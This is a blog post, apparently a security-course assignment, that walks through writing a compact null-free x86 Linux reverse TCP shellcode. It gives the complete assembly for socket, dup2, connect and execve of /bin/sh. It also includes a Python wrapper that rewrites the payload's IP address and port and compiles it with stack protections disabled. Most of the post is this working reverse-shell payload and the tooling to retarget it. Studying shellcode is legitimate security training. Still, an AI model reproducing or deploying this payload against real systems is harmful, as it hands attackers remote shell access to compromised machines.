Art of Shellcoding: Tale of the Smallest Reverse TCP Shellcode

Modern Ninja :)
Hey Folks, Hope you guys are doing great. In the previous article, we saw how we can create a bind TCP shellcode, reduce its enormous length from 108 bytes to merely 80 bytes by making use of strategically placed instructions, register re-use, single byte instructions and much more. We also saw how we can create a wrapper in python which will help us modify the shellcode and make it usable for any port of choice.
In this article, we will discuss how we can create a reverse TCP shellcode. In case you missed my previous post, click here to read it first since this post builds heavily on the mechanisms discussed in the last post.





Our Agenda for this exercise is to:
  • Build a Null Free TCP reverse shellcode
  • Write a wrapper that can update IP address and port in the shellcode
  • Write an efficient and small shellcode
Note: On this day (Friday, Jan 5, 2018, 1:28 AM IST) The shellcode we created in this post is the smallest Null -Free and Register Pollution Free /bin/sh shellcode (checked on exploit-db.com), Not counting ( Register Pollution based Shellcodes, Netcat Reverse Shells)
Update: The Shellcode has been accepted by Exploit-DB and can be found at https://www.exploit-db.com/exploits/43433/

So, let's quickly generate a linux/x86/shell_reverse_tcp using msfvenom and feed it to libemu as shown on the following screen:
Libemu Analysis of the Reverse Shell TCP
We can see that we have primarily four system calls that will come handy for creating shellcode for reverse TCP which are: socket, dup2, connect and execve. The main change in this shellcode is that instead of having system calls like bind, accept and listen, we have connect system call only. This makes our work reasonably comfortable as the only change required is to place the connect system call instead of all the three discussed above. So let's get started. However, we will try to write a much more efficient and space friendly code this time. The first call is SYS_SOCKET, let's set it up as shown on the following screen:

xor ebx,ebx ; Clearing out EBX
push ebx     ; Pushing 0 onto the stack i.e. Value of EBX ---> IP_PROTO
inc ebx        ; Increment EBX to 1  ---> SYS_SOCKET
push ebx     ; Push 1 onto the stack ---> SOCK_STREAM
push 0x2     ; Push 2 onto the stack ---> AF_INET (domain: Internet)
mov ecx, esp ; Move the pointer to ECX, which will point to {2,1,0}
push 0x66   ; SOCKETCALL
pop eax       ;  SOCKETCALL --> EAX
int 0x80      ; Interrupt ( EAX=> 0x66 EBX=0x1 ECX => {2,1,0}
Similar to the bind shell, we setup SYS_SOCKET as shown above. We can see we have DUP2 as the next system call which is being called thrice. Hence, let's set it up as follow:

xchg ebx,eax ; The resultant sockfd value from the previous call is moved to EBX
pop ecx       ; Top of the stack contains 2 pushed in the previous call, we load it to ECX
loop:           ; Loop Begins
    mov al,0x3f ; Moving DUP2 call to EAX
    int 0x80  ; Interrupt
    dec ecx   ; Decreasing ECX
    jns loop  ; Loop until SF Not Set
The above set of instructions will loop until the value of ECX becomes zero and SF Flag is set.  Next, We have the core system call of this shellcode which will connect to the listeners IP address on the specified port. Let's set up the connect system call as follows:
 
push 0x101017f      ; IP Address 127.1.1.1
push word 0xb822  ; Port 8888  (DWORD would have caused a NULL Byte)
push word 2            ; AF_INET  (Null Byte in AF_INET: 0002)
mov ecx,esp            ; Pointer 1 to {b8220002,0101017f)        
mov al,0x66            ; SOCKETCALL
push eax                  ; We push 66 as length (Clearing EAX not required)
push ecx                  ; Pointer 1 Pushed onto the stack
push ebx                  ; Sockfd pushed onto the stack
mov bl,0x3              ; EBX now contains SYS_CONNECT
mov ecx,esp            ; Pointer 2 --> {sockfd, Pointer 1, 66}
int 0x80                  ; Interrupt Generated
There are two main highlights here; We did not move 0xb8220002 as a DWORD this may have decreased the length of the shellcode, but it would have introduced a Null byte as well(0002). Hence, we pushed port in two halves. Additionally, we did not use IP as 127.0.0.1 because it would have contained nulls as well. Interestingly, we did not load 16 as the length this time and pushed the value of the call itself as length. This also means that it has a negligible effect on the system call. Hence, we saved bytes required to clear it out and loading the value 16 in there as we did in the previous post. Finally, we have the last segment of code as follows:
 
push edx ; Pushing 0 Value to the stack
push 0x68732f2f ; /bin
push 0x6e69622f; //sh
mov ebx,esp ; pointer 1 {/bin//sh}
push edx ; Pushing 0 Value to the stack
push ebx ; Pointer 1 to the stack
mov ecx,esp ; pointer 2 {Pointer 1, 0}
mov al,0xb ; EXECVE System Call
int 0x80 ; Interrupt
The code above is nothing but setting up EXECVE like we did in the last post. Compiling the code we have:
Generating Shellcode
 Compiling the shellcode in a C program and testing it, we can see that our shellcode works correctly as shown below:
Compiling and running shellcode.c program with our shellcode
Let's write a python wrapper for the shellcode so that changing IP address and PORT on the fly won't be a hassle for us:
 
#!/usr/bin/python
import sys
import socket
print "Stub File:"+sys.argv[1]
print "IP Addr:"+sys.argv[2]
print "Port Used:"+ sys.argv[3]
ip_addr= sys.argv[2].split(".")
ip_addr_bytes = '{:02X}{:02X}{:02X}{:02X}'.format(*map(int, ip_addr))

with open(sys.argv[1]+".c", "rb") as f:
    contents = f.readlines()

def H( hexStr ):
    bytes = []
    hexStr = ''.join( hexStr.split(" ") )
    for i in range(0, len(hexStr), 2):
        bytes.append( chr( int (hexStr[i:i+2], 16 ) ) )
    return ''.join( bytes )

ip_addr_final= repr(H(ip_addr_bytes)).replace("'","")

port = hex(int(sys.argv[3])).split('x')[1]
fh, sh = port[:2],port[2:]
if len(fh) == 1: fh = "0" + fh
if len(sh) == 1: sh = "0" + sh
_p = "\\x{0}\\x{1}".format(fh,sh)
for j,i in enumerate(contents):
    if "\\x22\\xb8" in i:
        print "Line Number :" + str(j)
 contents[j] = '"' + _p +'"'
    elif "\\x7f\\x01\\x01\\x01" in i:
 print "Line Number :" + str(j)
 contents[j] = '"' +ip_addr_final + '"' 
nf = sys.argv[1]+"_new.c"
with open(nf, "wb") as f:
    f.writelines(contents)
import os
os.system("gcc {0} -o {1} -fno-stack-protector -z execstack".format(nf,sys.argv[1]))
os.system("rm {0}".format(nf))
 
Running the python code, we can see that we can now change IP and port parameters on the fly:
Wrapper & Execution
We have completed all the required tasks. We now have one of the smallest reverse TCP shellcode with an on the fly IP and Port changing wrapper.

Files for this tutorial can be found at:
https://github.com/nipunjaswal/slae-exam/tree/master/ASSGN-2

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-1080

No comments:

Powered by Blogger.